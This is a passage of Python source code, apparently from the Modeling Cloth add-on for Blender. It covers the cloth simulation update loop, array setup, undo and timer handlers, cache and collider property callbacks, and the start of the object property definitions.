cloth.ob.MC_props.play_cache:\n            play_cache(cloth)\n            return\n\n        for i in range(cloth.ob.MC_props.sub_frames):\n            spring_basic_no_sw(cloth)\n\n        # FORCES FORCES FORCES FORCES FORCES\n        \"\"\" =============== FORCES EDIT MODE ================ \"\"\"\n\n        # set coords to current edit mode bmesh\n        cloth.obm.verts.ensure_lookup_table()\n        for i, j in enumerate(cloth.co):\n            cloth.obm.verts[i].co = j\n\n        if cloth.ob.MC_props.cache:\n            if cloth.ob.MC_props.internal_cache:    \n                np_co_to_text(cloth.ob, cloth.co, rw='w')\n            else:\n                cache(cloth)\n\n        #update_shading = True\n        #update_shading = False\n        if bpy.context.scene.MC_props.update_shading: # for live shading update        \n            obm = cloth.obm\n            #obm.faces.ensure_lookup_table()\n            #obm.edges.ensure_lookup_table()\n            vsel = obm.verts[0].select\n            #fsel = obm.faces[0].select\n            #esel = obm.edges[0].select\n            obm.verts[0].select = True\n            #obm.faces[0].select = True\n            #obm.edges[0].select = True\n            bpy.ops.mesh.hide()\n            bpy.ops.mesh.reveal()\n            #obm.faces[0].select = fsel\n            #obm.edges[0].select = esel\n            obm.verts[0].select = vsel\n\n        return\n\n    # switched out of edit mode\n    if cloth.mode is None:\n        cloth.mode = 1\n\n        #print(\"running here\")\n        #refresh(cloth, skip=True)\n        #index = ob.data.shape_keys.key_blocks.find('MC_current')\n        #ob.active_shape_key_index = index\n        #cloth.obm = get_bmesh(ob) # if I don't do this I can get a bug when I change geometry then pop in and out of edit mode\n        \n        if not cloth.ob.MC_props.cache_only:\n            update_groups(cloth, cloth.obm)\n\n    # OBJECT MODE ====== :\n    \"\"\" =============== FORCES OBJECT MODE ================ \"\"\"\n    # FORCES FORCES FORCES FORCES\n    if cloth.ob.MC_props.play_cache:\n        play_cache(cloth)\n        return\n\n    for i in range(cloth.ob.MC_props.sub_frames):\n        spring_basic_no_sw(cloth)\n\n    # FORCES FORCES FORCES FORCES\n    \"\"\" =============== FORCES OBJECT MODE ================ \"\"\"\n\n    # updating the mesh coords -----------------@@\n    ob.data.shape_keys.key_blocks['MC_current'].data.foreach_set(\"co\", cloth.co.ravel())\n    cloth.ob.data.update()\n\n    if cloth.ob.MC_props.cache:\n        if cloth.ob.MC_props.internal_cache:    \n            np_co_to_text(cloth.ob, cloth.co, rw='w')\n        else:\n            cache(cloth)\n\n# update the cloth ---------------\ndef update_cloth(type=0):\n\n    # run from either the frame handler or the timer\n    if type == 0:\n        cloths = [i[1] for i in MC_data['cloths'].items() if i[1].ob.MC_props.continuous]\n        if len(cloths) == 0:\n            bpy.app.timers.unregister(cloth_main)\n\n    if type == 1:\n        cloths = [i[1] for i in MC_data['cloths'].items() if i[1].ob.MC_props.animated]\n        if len(cloths) == 0:\n            install_handler(continuous=True, clear=False, clear_anim=True)\n\n    for cloth in cloths:\n        cloth_physics(cloth.ob, cloth)#, colliders)\n\n# ^                                                          ^ #\n# ^                 END update the cloth                     ^ #\n# ============================================================ #\n\n\ndef refresh(cloth, skip=False):\n    \n    ob = cloth.ob\n    \n    cloth.wrap_force = None\n    cloth.last_cpm = None # last closest point on mesh (for popping in and out of edit mode)\n    \n    if ob.data.is_editmode:\n        ob.update_from_editmode()\n    \n    cloth.p1 = False\n    if not skip:    \n        cloth.iterator = 0\n    # target ----------\n    cloth.target = None # (gets overwritten by def cb_target)\n    cloth.current_cache_frame = 1 # for the cache continuous playback\n    cloth.shape_update = False\n\n    # for detecting mode changes\n    cloth.mode = 1\n    if ob.data.is_editmode:\n        cloth.mode = None\n    cloth.undo = False\n\n    cloth.v_count = len(ob.data.vertices)\n    v_count = cloth.v_count\n    cloth.obm = get_bmesh(ob, refresh=True)\n    \n    #noise = np.array(np.random.random((cloth.v_count, 3)) * 0.00001, dtype=np.float32)\n\n    cloth.co = get_co_edit(ob)# + noise\n    \n    if not skip:\n        # slowdowns ------------------\n        manage_vertex_groups(cloth)\n        # slowdowns ------------------\n\n    cloth.move_dist = np.zeros(v_count, dtype=np.float32) # used by static friction\n    cloth.pin_arr = np.copy(cloth.co)\n    cloth.geometry = get_mesh_counts(ob, cloth.obm)\n    \n    if not skip:\n        # slowdowns ------------------\n        cloth.sew = False\n        cloth.sew_springs = get_sew_springs(cloth)\n        sew_v_fancy(cloth)\n        # slowdowns ------------------\n    \n    if False: # need to check if this works. Used by surface forces. search for \" rev \" in the collision module    \n        cloth.wco = np.copy(cloth.co)\n        apply_in_place(cloth.ob, cloth.wco)\n\n    cloth.select_start = np.copy(cloth.co)\n    cloth.stretch_array = np.zeros(cloth.co.shape[0], dtype=np.float32)\n    \n    if cloth.ob.data.is_editmode:    \n        cloth.selected = np.array([v.select for v in cloth.obm.verts])\n    else:\n        cloth.selected = np.zeros(cloth.co.shape[0], dtype=np.bool) # keep False if in object mode\n    \n    cloth.velocity = np.zeros_like(cloth.co)\n    cloth.vel_zero = np.zeros_like(cloth.co)\n    cloth.feedback = np.zeros_like(cloth.co)\n    cloth.stretch_array = np.zeros(cloth.co.shape[0], dtype=np.float32) # for calculating the weights of the mean\n    cloth.bend_stretch_array = np.zeros(cloth.co.shape[0], dtype=np.float32) # for calculating the weights of the mean\n    cloth.total_tridex = np.zeros(cloth.basic_v_fancy.shape[0], dtype=np.float32) # for calculating the weights of the mean\n    cloth.measure_dot = np.zeros(cloth.basic_v_fancy.shape[0], dtype=np.float32) # for calculating the weights of the mean\n    cloth.measure_length = np.zeros(cloth.basic_v_fancy.shape[0], dtype=np.float32) # for calculating the weights of the mean\n    cloth.measure_cv = np.zeros((cloth.basic_v_fancy.shape[0], 3), dtype=np.float32) # for calculating the weights of the mean\n    \n    if not skip:    \n        cloth.vdl = stretch_springs_basic(cloth, cloth.target)\n\n    if not skip:\n        #if doing_self_collisions:\n        cloth.tridex, triobm = get_tridex_2(ob)\n        cloth.triobm = triobm\n\n        # for offset_cloth_tris:\n        cloth.v_norms = np.empty((cloth.co.shape[0], 3), dtype=np.float32)\n        cloth.v_norm_indexer1 = np.array(np.hstack([[f.index for f in v.link_faces] for v in triobm.verts]), dtype=np.int32)\n        cloth.v_norm_indexer = np.array(np.hstack([[v.index] * len(v.link_faces) for v in triobm.verts]), dtype=np.int32)\n        # ---------------------        \n    \n    cloth.turbulence = np.random.rand(cloth.tridex.shape[0])\n    cloth.turbulence_2 = np.random.rand(cloth.tridex.shape[0])\n    cloth.random_dir = np.random.rand(3)\n    cloth.random_dir_2 = np.random.rand(3)\n    cloth.turb_count = 1\n\n    # old self collisions\n    cloth.sc_edges = get_sc_edges(ob, fake=True)\n    cloth.sc_eidx = np.arange(len(ob.data.vertices), dtype=np.int32)\n    cloth.sc_indexer = np.arange(cloth.tridex.shape[0], dtype=np.int32)\n    cloth.tris_six = np.empty((cloth.tridex.shape[0], 6, 3), dtype=np.float32)\n    cloth.sc_co = np.empty((cloth.co.shape[0] * 2, 3), dtype=np.float32)\n\n    # pierce data\n    if not skip:\n        cloth.eidx = get_sc_edges(ob)\n        cloth.four_edge_co = np.empty((cloth.eidx.shape[0], 4, 3), dtype=np.float32)\n        cloth.pierce_co = np.empty((cloth.eidx.shape[0], 2, 3), dtype=np.float32)\n        #cloth.pierce_co2 = np.empty((cloth.eidx.shape[0] * 2, 3), dtype=np.float32)\n        \n        c = cloth.eidx.shape[0]\n        cloth.pc_edges = np.empty((c, 2), dtype=np.int32)\n        idx = np.arange(c * 2, dtype=np.int32)\n        cloth.pc_edges[:, 0] = idx[:c]\n        cloth.pc_edges[:, 1] = idx[c:]\n        cloth.peidx = np.arange(cloth.eidx.shape[0])\n        \n        # boundary edgs:\n        cloth.boundary_bool = np.array([[e.is_boundary for e in t.edges] for t in cloth.triobm.faces], dtype=np.bool)\n        cloth.boundary_tris = np.array([np.any(b) for b in cloth.boundary_bool], dtype=np.bool)\n        cloth.bt_edges = np.array([[[e.verts[0].index, e.verts[1].index] for e in t.edges] for t in cloth.triobm.faces], dtype=np.int32)\n        #cloth.bt_edges\n        #print(cloth.bt_edges)\n        \n        # I hate it when this happens:\n        # cloth.bt_edges[cloth.boundary_tris][ וַעֲוֺנֹתָם הוּא יִסְבֹּֽל]\n        # Hebrew does not index numpy arrays (copy and paste while mixing Hebrew study and python...)\n        # print(cloth.bt_edges[cloth.boundary_tris][cloth.boundary_bool[cloth.boundary_tris]])\n        \n\n        \n        \n        \n    # for that p1 experiment thingy with boundary edge to object collisions\n    for i, j in enumerate(cloth.obm.verts):\n        if j.is_boundary:\n            cloth.group_surface_offset[i] = -0.1\n\n    Collider(cloth)\n\n\n\n# ============================================================ #\n#                      Manage handlers                         #\n#                                                              #\n# handler ------------------\n@persistent\ndef undo_frustration(scene):\n    # someone might edit a mesh then undo it.\n    # in this case I need to recalc the springs and such.\n    # using id props because object memory adress changes with undo\n\n    # find all the cloth objects in the scene and put them into a list\n    cloths = [i for i in bpy.data.objects if i.MC_props.cloth]\n    if len(cloths) < 1:\n        return\n    # throw an id prop on there.\n    for i in cloths:\n        cloth = MC_data['cloths'][i['MC_cloth_id']]\n        cloth.ob = i\n        # update for meshes in edit mode\n        cloth.undo = True\n        cloth.target_undo = True\n        try:\n            cloth.obm.verts\n        except:\n            cloth.obm = get_bmesh(cloth.ob)\n\n        if not detect_changes(cloth.geometry, cloth.obm)[0]:\n            cloth.springs, cloth.v_fancy, cloth.e_fancy, cloth.flip = get_springs(cloth)\n\n    fun = [\"your shoe laces\", \"something you will wonder about but never notice\", \"something bad because it loves you\", \"two of the three things you accomplished at work today\", \"knots in the threads that hold the fabric of the universe\", \"a poor financial decision you made\", \"changes to your online dating profile\", \"your math homework\", \"everything you've ever accomplished in life\", \"something you'll discover one year from today\", \"the surgery on your cat\", \"your taxes\", \"all the mistakes you made as a child\", \"the mess you made in the bathroom\", \"the updates to your playstation 3\", \"nothing! Modeling Cloth makes no mistakes!\", \"your last three thoughts and you'll never know what they were\", \"the damage done to the economy by overreaction to covid\"]\n    msg = \"Modeling Cloth undid \" + fun[MC_data[\"iterator\"]]\n    print(msg)\n    #bpy.context.window_manager.popup_menu(oops, title=msg, icon='ERROR')\n    MC_data['iterator'] += 1\n    if MC_data['iterator'] == len(fun):\n        MC_data['iterator'] = 0\n\n\n# handler ------------------\n@persistent\ndef cloth_main(scene=None):\n    \"\"\"Runs the realtime updates\"\"\"\n\n    total_time = T()\n\n    kill_me = []\n    # check for deleted cloth objects\n    for id, val in MC_data['cloths'].items():\n        try:\n            val.ob.data\n        except:\n            # remove from dict\n            kill_me.append(id)\n\n    for i in kill_me:\n        del(MC_data['cloths'][i])\n        print('killed wandering cloths')\n\n    kill_me = []\n    # check for deleted collider objects\n    if False:    \n        for id, val in MC_data['colliders'].items():\n            try:\n                val.ob.data\n            except:\n                # remove from dict\n                kill_me.append(id)\n\n        for i in kill_me:\n            del(MC_data['colliders'][i])\n            print('killed wandering colliders')\n\n    # run the update -------------\n    type = 1 # frame handler or timer continuous\n    if scene is None:\n        type=0\n\n    delay = bpy.context.scene.MC_props.delay\n\n    update_cloth(type) # type 0 continuous, type 1 animated\n\n    # auto-kill\n    auto_kill = True\n    auto_kill = False\n    if auto_kill:\n        if MC_data['count'] == 20:\n            print()\n            print('--------------')\n            print('died')\n            return\n\n    return delay\n\n\n# handler ------------------\ndef install_handler(continuous=True, clear=False, clear_anim=False):\n    \"\"\"Run this when hitting continuous update or animated\"\"\"\n    # clean dead versions of the animated handler\n    handler_names = np.array([i.__name__ for i in bpy.app.handlers.frame_change_post])\n    booly = [i == 'cloth_main' for i in handler_names]\n    idx = np.arange(handler_names.shape[0])\n    idx_to_kill = idx[booly]\n    for i in idx_to_kill[::-1]:\n        del(bpy.app.handlers.frame_change_post[i])\n        print(\"deleted handler \", i)\n    if clear_anim:\n        print('ran clear anim handler')\n        return\n\n    # clean dead versions of the timer\n    if bpy.app.timers.is_registered(cloth_main):\n        bpy.app.timers.unregister(cloth_main)\n\n    # for removing all handlers and timers\n    if clear:\n        print('ran clear handler')\n        return\n\n    MC_data['count'] = 0\n\n    if np.any([i.MC_props.continuous for i in bpy.data.objects]):\n        # continuous handler\n        bpy.app.timers.register(cloth_main, persistent=True)\n        #bpy.app.timers.register(funky.partial(cloth_main, delay, kill, T), first_interval=delay_start, persistent=True)\n        return\n\n    # animated handler\n    if np.any([i.MC_props.animated for i in bpy.data.objects]):\n        bpy.app.handlers.frame_change_post.append(cloth_main)\n\n\n# ^                                                          ^ #\n# ^                      END handler                         ^ #\n# ============================================================ #\n\n\n# ============================================================ #\n#                    callback functions                        #\n#                                                              #\n\n\n# calback functions ---------------\ndef oops(self, context):\n    # placeholder for reporting errors or other messages\n    return\n\n\ndef open_folder(path):\n    import subprocess\n    import sys\n\n    if sys.platform == 'darwin':\n        subprocess.check_call(['open', '--', path])\n    elif sys.platform == 'linux2':\n        subprocess.check_call(['gnome-open', '--', path])\n    elif sys.platform == 'win32':\n        subprocess.check_call(['explorer', path])\n\n\n# calback functions ---------------\n# object:\ndef cb_cache_only(self, context):\n\n    ob = self.id_data\n\n    if self.cache_only:\n        self.cloth = True\n        #self.cache = True\n        self.animated = True\n        self.cache_name = ob.name\n        return\n\n    self.cache = False\n    self.cloth = False\n    self.animated = False\n\n\ndef check_file_path(ob):\n    \"\"\"Check if the current filepath is legit\"\"\"\n    self = ob.MC_props\n    custom = pathlib.Path(self.cache_folder)\n    mc_path = custom.joinpath('MC_cache_files')\n    name = self.cache_name\n    final_path = mc_path.joinpath(name)\n    valid = final_path.exists()\n    return valid, final_path\n\n\ndef cb_cache(self, context):\n    \"\"\"Manage files and paths for saving cache.\"\"\"\n    if self.cache:\n        self['play_cache'] = False\n        # Might want to overwrite while playing\n        #   back with partial influence and running cloth sim\n\n    ob = self.id_data\n\n    cloth = get_cloth(ob)\n\n    # set path to blender path by default\n    path = pathlib.Path(bpy.data.filepath).parent #.parent removes .blend file\n    if path == '':\n        path = os.path.expanduser(\"~/Desktop\")\n        self['cache_folder'] = path\n\n    if ob.MC_props.cache_desktop:\n        path = os.path.expanduser(\"~/Desktop\")\n        self['cache_folder'] = path\n    else:\n        self['cache_folder'] = str(path) # so it switches back when turning of desktop\n\n    mc_path = pathlib.Path(path).joinpath('MC_cache_files')\n\n    # overwrite if user path is valid:\n    custom = pathlib.Path(self.cache_folder)\n    if not custom.exists():\n        # Report Error\n        msg = '\"' + self.cache_folder + '\"' + \" is not a valid filepath. Switching to .blend location Desktop if blend file is not saved\"\n        bpy.context.window_manager.popup_menu(oops, title=msg, icon='ERROR')\n        self['cache_folder'] = str(path)\n    else:\n        mc_path = custom.joinpath('MC_cache_files')\n\n    # create dir if it doesn't exist\n    if not mc_path.exists():\n        mc_path.mkdir()\n\n    name = str(ob['MC_cloth_id'])\n\n    custom_name = self.cache_name\n    if custom_name != \"Mr. Purrkins The Deadly Cyborg Kitten\":\n        if custom_name != '':\n            name = custom_name\n\n    self['cache_name'] = name\n\n    final_path = mc_path.joinpath(name)\n\n    # create dir if it doesn't exist\n    if not final_path.exists():\n        final_path.mkdir()\n\n    cloth.cache_dir = final_path\n    return\n\n\ndef cb_cache_playback(self, context):\n    ob = self.id_data\n    cloth = get_cloth(ob)\n    \n    if self.play_cache:\n        self.animated = True\n    \n    self['cache'] = False\n\n    if self.cache_only:\n        if self.play_cache:\n            self['cache'] = False\n\n            if ob.data.shape_keys == None:\n                ob.shape_key_add(name='Basis')\n\n            keys = ob.data.shape_keys.key_blocks\n            index = ob.data.shape_keys.key_blocks.find('MC_current')\n            active = ob.active_shape_key_index\n            cloth.key_values = {'MC_active_idx_pre_cache': active}\n            for k in keys:\n                cloth.key_values[k.name] = k.value\n\n            for k in keys:\n                k.value = 0\n\n            keys = ob.data.shape_keys.key_blocks\n            if 'cache_key' not in keys:\n                ob.shape_key_add(name='cache_key')\n\n            keys['cache_key'].value = 1.0\n            index = ob.data.shape_keys.key_blocks.find('cache_key')\n            ob.active_shape_key_index = index\n            return\n\n        if ob.data.shape_keys is not None:\n            keys = ob.data.shape_keys.key_blocks\n            if len(keys) >= cloth.key_values['MC_active_idx_pre_cache']:\n                ob.active_shape_key_index = cloth.key_values['MC_active_idx_pre_cache']\n\n            if 'cache_key' in keys:\n                keys['cache_key'].value = 0\n\n            for k, v in cloth.key_values.items():\n                if k in keys:\n                    keys[k].value = v\n\n\ndef cb_current_cache_frame(self, context):\n    \"\"\"Keep track of the current saved cache frame.\"\"\"\n    ob = self.id_data\n\n    cloth = get_cloth(ob)\n    cloth.cache_dir = check_file_path(ob)[1]\n    cloth.current_cache_frame = self.current_cache_frame\n    play_cache(cloth, cb=True)\n\n\ndef cb_detect_collisions(self, context):\n    ob = self.id_data\n    print(ob.name, ' cloth object set to check for collisions')\n\n\ndef cb_collider(self, context):\n    \"\"\"Set up object as collider\"\"\"\n\n    ob = self.id_data\n    if ob.type != \"MESH\":\n        self['collider'] = False\n\n        # Report Error\n        msg = \"Must be a mesh. Collisions with non-mesh objects can create black holes potentially destroying the universe.\"\n        bpy.context.window_manager.popup_menu(oops, title=msg, icon='ERROR')\n        return\n\n    cloths = [o for o in bpy.data.objects if o.MC_props.cloth]\n    cloth_classes = [MC_data['cloths'][o['MC_cloth_id']] for o in cloths]\n\n    for cc in cloth_classes:\n        Collider(cc)    \n    \n\n# calback functions ---------------\n# object:\ndef cb_cloth(self, context):\n    \"\"\"Set up object as cloth\"\"\"\n\n    ob = self.id_data\n    self = ob.MC_props\n    \n    if ob.data.is_editmode:\n        ob.update_from_editmode()    \n    \n    # do I really need this???\n    #ob.data.update() # otherwise changes to geometry then trying popping out of edit mode messes up\n    \n    if self.cache_only:\n        cloth = create_instance(ob=ob)\n        id_number = ob.name\n        MC_data['cloths'][id_number] = cloth\n        ob['MC_cloth_id'] = id_number\n        return\n\n    # set the recent object for keeping settings active when selecting empties\n    recent = MC_data['recent_object']\n\n    if ob.type != \"MESH\":\n        if recent is not None:\n            ob = recent\n        else:\n            self['cloth'] = False\n\n            # Report Error\n            msg = \"Must be a mesh. Non-mesh objects make terrible shirts.\"\n            bpy.context.window_manager.popup_menu(oops, title=msg, icon='ERROR')\n            return\n\n    if len(ob.data.polygons) < 1:\n        self['cloth'] = False\n\n        # Report Error\n        msg = \"Must have at least one face. Faceless meshes are creepy.\"\n        bpy.context.window_manager.popup_menu(oops, title=msg, icon='ERROR')\n        return\n\n    # The custom object id is the key to the cloth instance in MC_data\n    if self.cloth:\n        # creat shape keys and set current to active\n\n        reset_shapes(ob)\n        index = ob.data.shape_keys.key_blocks.find('MC_current')\n        ob.active_shape_key_index = index\n\n        cloth = create_instance(ob=ob)\n\n        # recent_object allows cloth object in ui\n        #   when selecting empties such as for pinning.\n        MC_data['recent_object'] = bpy.context.object\n\n        # use an id prop so we can find the object after undo\n        if False: # using time.time() for id\n            d_keys = [i for i in MC_data['cloths'].keys()]\n            id_number = 0\n            if len(d_keys) > 0:\n                id_number = max(d_keys) + 1\n                print(\"created new cloth id\", id_number)\n            id_number = ob.name # Could create problems\n\n        if 'MC_cloth_id' in ob:\n            id_number = ob['MC_cloth_id']\n        else:\n            id_number = time.time()\n        \n        MC_data['cloths'][id_number] = cloth\n        ob['MC_cloth_id'] = id_number\n        #cb_cache(self, context) # if a cache exists at the specified file location. So the usere doesn't have to toggle the property if the file is a valid cache.\n        #print('created instance')\n        return\n\n    # when setting cloth to False\n    if ob['MC_cloth_id'] in MC_data['cloths']:\n        del(MC_data['cloths'][ob['MC_cloth_id']])\n        del(ob['MC_cloth_id'])\n        # recent_object allows cloth object in ui\n        #   when selecting empties such as for pinning\n        MC_data['recent_object'] = None\n        ob.MC_props['continuous'] = False\n        ob.MC_props['animated'] = False\n\n\n@persistent\ndef reload_from_save(scene=None):\n    print(\"Ran MC load handler\")\n\n    cobs = [ob for ob in bpy.data.objects if ob.MC_props.cloth]\n    for c in cobs:\n        cb_cloth(c, bpy.context)\n        cb_continuous(c, bpy.context)\n        cb_animated(c, bpy.context)\n        \n\n# calback functions ----------------\n# object:\ndef cb_continuous(self, context):\n    \"\"\"Turn continuous update on or off\"\"\"\n    install_handler(continuous=True)\n\n\n# calback functions ----------------\n# object:\ndef cb_dense(self, context):\n    ob = self.id_data\n    print('Ran cb_dense. Did nothing.')\n\n\n# calback functions ----------------\n# object:\ndef cb_quad_bend(self, context):\n    ob = self.id_data\n    print('Ran cb_quad_bend. Did nothing.')\n\n\n# calback functions ----------------\n# object:\ndef cb_animated(self, context):\n    \"\"\"Turn animated update on or off\"\"\"\n    install_handler(continuous=False) # deletes handler when false.\n\n    if not self.animated:\n        return\n\n    # updates groups when we toggle \"Animated\"\n    ob = self.id_data\n    cloth = get_cloth(ob)\n    if self.cache_only:\n        cloth.co = get_proxy_co(ob)\n        return\n\n    if ob.data.is_editmode:\n        index = ob.data.shape_keys.key_blocks.find('MC_current')\n        if ob.active_shape_key_index == index:\n            cloth.co = np.array([v.co for v in cloth.obm.verts], dtype=np.float32)\n            update_groups(cloth, cloth.obm)\n            return\n        ob.update_from_editmode()\n\n    cloth.co = get_co_shape(ob, key='MC_current')\n\n\n# calback functions ----------------\n# object:\ndef cb_target(self, context):\n    \"\"\"Use this object as the source target\"\"\"\n\n    # if the target object is deleted while an object is using it:\n    if bpy.context.object is None:\n        return\n\n    # setting the property normally\n    ob = bpy.context.object\n\n    cloth = MC_data[\"cloths\"][ob['MC_cloth_id']]\n\n    # kill target data\n    if self.target is None:\n        cloth.target = None\n        return\n\n    # kill target data\n    cloth.proxy = bpy.context.evaluated_get(self.target)\n    same = compare_geometry(ob, proxy, obm1=None, obm2=None, all=False)\n    if not same:\n        msg = \"Vertex and Face counts must match. Sew edges don't have to match.\"\n        bpy.context.window_manager.popup_menu(oops, title=msg, icon='ERROR')\n        self.target = None\n        cloth.target = None\n        return\n\n    # Ahh don't kill me I'm a valid target!\n    cloth.target = self.target\n    cloth.target_geometry = get_mesh_counts(cloth.target)\n    cloth.target_co = get_co_mode(cloth.target)\n\n\n# calback functions ----------------\n# object:\ndef cb_reset(self, context):\n    \"\"\"RESET button\"\"\"\n    ob = MC_data['recent_object']\n    if ob is None:\n        ob = bpy.context.object\n    cloth = MC_data[\"cloths\"][ob['MC_cloth_id']]\n    #RESET(cloth)\n    self['reset'] = False\n\n\n# calback functions ----------------\n# scene:\ndef cb_pause_all(self, context):\n    print('paused all')\n\n\n# calback functions ----------------\n# scene:\ndef cb_play_all(self, context):\n    print('play all')\n\n\n# calback functions ----------------\n# scene:\ndef cb_duplicator(self, context):\n    # DEBUG !!!\n    # kills or restarts the duplicator/loader for debugging purposes\n    if not bpy.app.timers.is_registered(duplication_and_load):\n        bpy.app.timers.register(duplication_and_load)\n        return\n\n    bpy.app.timers.unregister(duplication_and_load)\n    print(\"unloaded dup/load timer\")\n\n\ndef cb_grid(self, context):\n\n    ob = bpy.context.object\n    if ob == None:\n        return\n    if not ob.type == \"MESH\":\n        return\n\n    border = MC_grid.Border(ob)\n    return\n    #new = border.redistributed\n    #new = MC_grid.redistribute(border.ordered_co[:, :2], grid_size=size, angle=angle)\n    new = border.new_border\n    new_ed = border.new_border_edges.tolist()\n    mob = None\n    if name in bpy.data.objects:\n        mob = bpy.data.objects[name]\n        \n    grid = link_mesh(verts=new.tolist(), edges=new_ed, faces=[], name=name, ob=mob)\n    grid2 = link_mesh(verts=border.grid_co.tolist(), edges=border.grid_edges, faces=[], name=name, ob=mob)\n    #grid2 = link_mesh(verts=border.grid.tolist(), edges=[], faces=[], name=name, ob=mob)\n    grid.matrix_world = ob.matrix_world\n    grid2.matrix_world = ob.matrix_world\n    \n\n\n#    need to return sharps so we can \n#       keep them\n#    Need to consider points that land\n#       on edges when checking intersect    \n#    Mybe subdivide boundary edges where the \n#       edges are too long because of their angle\n#       to the grid.\n    \n\n# ^                                                          ^ #\n# ^                 END callback functions                   ^ #\n# ============================================================ #\n\n\n# ============================================================ #\n#                     create properties                        #\n#                                                              #\n\n# create properties ----------------\n# object:\nclass McPropsObject(bpy.types.PropertyGroup):\n\n    p1_cloth:\\\n    bpy.props.BoolProperty(name=\"p1 cloth\", description=\"we are running in p1\", default=False)\n\n    simple_sew:\\\n    bpy.props.BoolProperty(name=\"Simple Sew\", description=\"Basic sew springs for p1\", default=False)\n\n    is_hook:\\\n    bpy.props.BoolProperty(name=\"Hook Object\", description=\"This object is used as a hook\", default=False)\n\n    hook_index:\\\n    bpy.props.IntProperty(name=\"Hook Index\", description=\"Vert index for hook\", default= -1)\n\n    self_collide:\\\n    bpy.props.BoolProperty(name=\"Self Collision\", description=\"Self collisions (Hopefully preventing self intersections. Fingers crossed.)\", default=False)\n\n    self_collide_margin:\\\n    bpy.props.FloatProperty(name=\"Self Collision Margin\", description=\"Self collision margin\", default=0.02, min=0, precision=3)\n\n    min_max_margin:\\\n    bpy.props.FloatProperty(name=\"Min Max Margin\", description=\"Experimenting with min max values in collisions\", default=0.0, min=0, precision=3)\n\n    detangle:\\\n    bpy.props.BoolProperty(name=\"Detangle Self Collision\", description=\"Work Out Failed Self collisions (Hopefully fixing self collide failures. Fingers crossed.)\", default=False)\n\n    edge_collide:\\\n    bpy.props.BoolProperty(name=\"Edge Collide\", description=\"edges collide against each other in self collisions\", default=False)\n\n    new_self_margin:\\\n    bpy.props.FloatProperty(name=\"New Self Margin\", description=\"New Self collision margin\", default=0.02, min=0, precision=3)\n    \n    self_collide_force:\\\n    bpy.props.FloatProperty(name=\"Self Collision Force\", description=\"Self collision force\", default=0.5, precision=3)\n\n    #sc_vel_damping:\\\n    #bpy.props.FloatProperty(name=\"Self Collision Velocity Damping\", description=\"Self self collisions reduces velocity\", default=1.0, precision=3)\n\n    sc_friction:\\\n    bpy.props.FloatProperty(name=\"Self Collision Friction\", description=\"Self self collisions friction\", default=0.5, soft_min=0, soft_max=1, precision=3)\n\n    shrink_grow:\\\n    bpy.props.FloatProperty(name=\"Shrink/Grow\", description=\"Change the target size\", default=1.0, soft_min=0, soft_max=1000, precision=3)\n\n    wrap_force:\\\n    bpy.props.FloatProperty(name=\"Wrap Force\", description=\"Cloth moves towards colliders like shrinkwrap\", default=0.0, soft_min=0, soft_max=1, precision=3)\n\n    sc_box_max:\\\n    bpy.props.IntProperty(name=\"SC Box Max\", description=\"Max number of sets in an octree box\", default=150, min=10)\n\n    collider:\\\n    bpy.props.BoolProperty(name=\"Collider\", description=\"Cloth objects collide with this object\", default=False, update=cb_collider)\n\n    outer_margin:\\\n    bpy.props.FloatProperty(name=\"Outer Margin\", description=\"Distance from surface of collisions on positive normal side\", default=0.01, precision=3)\n\n    inner_margin:\\\n    bpy.props.FloatProperty(name=\"Inner Margin\", description=\"Points within this distance on the negative side of the normal will be pushed out\", default=0.01, precision=3)\n\n    detect_collisions:\\\n    bpy.props.BoolProperty(name=\"Detect Collisions\", description=\"This cloth object checks for collisions\", default=True, update=cb_detect_collisions)\n\n    override_settings:\\\n    bpy.props.BoolProperty(name=\"Override Settings\", description=\"Override object settings\", default=False)\n\n    oc_friction:\\\n    bpy.props.FloatProperty(name=\"Object Collision Friction\", description=\"Object collision friction\", default=0.5, soft_min=0, soft_max=1, precision=3)\n\n    static_friction:\\\n    bpy.props.FloatProperty(name=\"Object Collision Static Friction\", description=\"Static friction threshold\", default=0.1, soft_min=0, precision=3)\n\n    cloth:\\\n    bpy.props.BoolProperty(name=\"Cloth\", description=\"Set this as a cloth object\", default=False, update=cb_cloth)\n\n    # handler props for each object\n    continuous:\\\n    bpy.props.BoolProperty(name=\"Continuous\", description=\"Update cloth continuously\", default=False, update=cb_continuous)\n\n    animated:\\\n    bpy.props.BoolProperty(name=\"Animated\", description=\"Update cloth only when animation is running\", default=False, update=cb_animated)\n\n    target:\\\n    bpy.props.PointerProperty(type=bpy.types.Object, description=\"Use this object as the target for stretch and bend springs\", update=cb_target)\n\n    # Forces\n    gravity:\\\n    bpy.props.FloatProperty(name=\"Gravity\", description=\"Strength of the gravity\", default=0.0, min=-1000, max=1000, soft_min= -10, soft_max=10, precision=3)\n\n    velocity:\\\n    bpy.props.FloatProperty(name=\"Velocity\", description=\"Maintains Velocity\", default=0.98, min= -1000, max=1000, soft_min= 0.0, soft_max=1, precision=3)\n\n    wind:\\\n    bpy.props.FloatProperty(name=\"Wind\", description=\"This Really Blows\", default=0.0, min= -1000, max=1000, soft_min= -10.0, soft_max=10.0, precision=3)\n\n    # stiffness\n    feedback:\\\n    bpy.props.FloatProperty(name=\"Feedback\", description=\"Extrapolate for faster solve\", default=.5, min= -1000, max=1000, soft_min= 0.0, soft_max=1, precision=3)\n\n    stretch_iters:\\\n    bpy.props.IntProperty(name=\"Iters\", description=\"Number of iterations of cloth solver\", default=2, min=0, max=1000)#, precision=1)\n\n    sub_frames:\\\n    bpy.props.IntProperty(name=\"Sub Frames\", description=\"Number of sub frames between display\", default=1, min=0, max=1000)#, precision=1)\n\n    stretch:\\\n    bpy.props.FloatProperty(name=\"Stretch\", description=\"Strength of the stretch springs\", default=1, min=0, max=10, soft_min= 0, soft_max=1, precision=3)\n\n    push:\\\n    bpy.props.FloatProperty(name=\"Push\", description=\"Strength of the push springs\", default=1, min=0, max=1, soft_min= -2, soft_max=2, precision=3)\n\n    bend_iters:\\\n    bpy.props.IntProperty(name=\"Bend Iters\", description=\"Number of iterations of bend springs\", default=2, min=0, max=1000)#, precision=1)\n\n    extra_bend_iters:\\\n    bpy.props.IntProperty(name=\"Extra Bend Iters\", description=\"Extra bend after self collide for p1\", default=0, min=0, max=1000)#, precision=1)\n\n    bend:\\\n    bpy.props.FloatProperty(name=\"Bend\", description=\"Strength of the bend springs\", default=1, min=0, max=10, soft_min= 0, soft_max=1, precision=3)\n\n    dense:\\\n    bpy.props.BoolProperty(name=\"Dense\", description=\"Default vertex weights are set to 0. For dense meshes so we can reduce setup calculations\", default=False, 